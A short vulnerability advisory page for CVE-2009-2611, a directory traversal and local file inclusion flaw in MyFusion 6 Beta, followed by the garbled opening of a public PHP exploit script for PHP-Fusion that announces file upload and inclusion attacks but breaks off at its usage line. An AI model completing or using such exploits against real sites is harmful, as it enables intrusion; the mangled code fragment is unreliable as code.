CVE-2009-2611: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in infusions/lastseenuserspanel/lastseenuserspanel.php in MyFusion aka MyF 6 Beta, when registerglobals is enabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the settingslocale parameter...

phpfusion600306.txt

!/usr/bin/php -q -d shortopentag=on ? echo "PHPFusion = v6.00.306 avatar modmime arbitrary file upload &\r\n"; echo "local inclusion vulnerabilities\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; if $argc6 echo "Usage: php ".$argv0." host path us...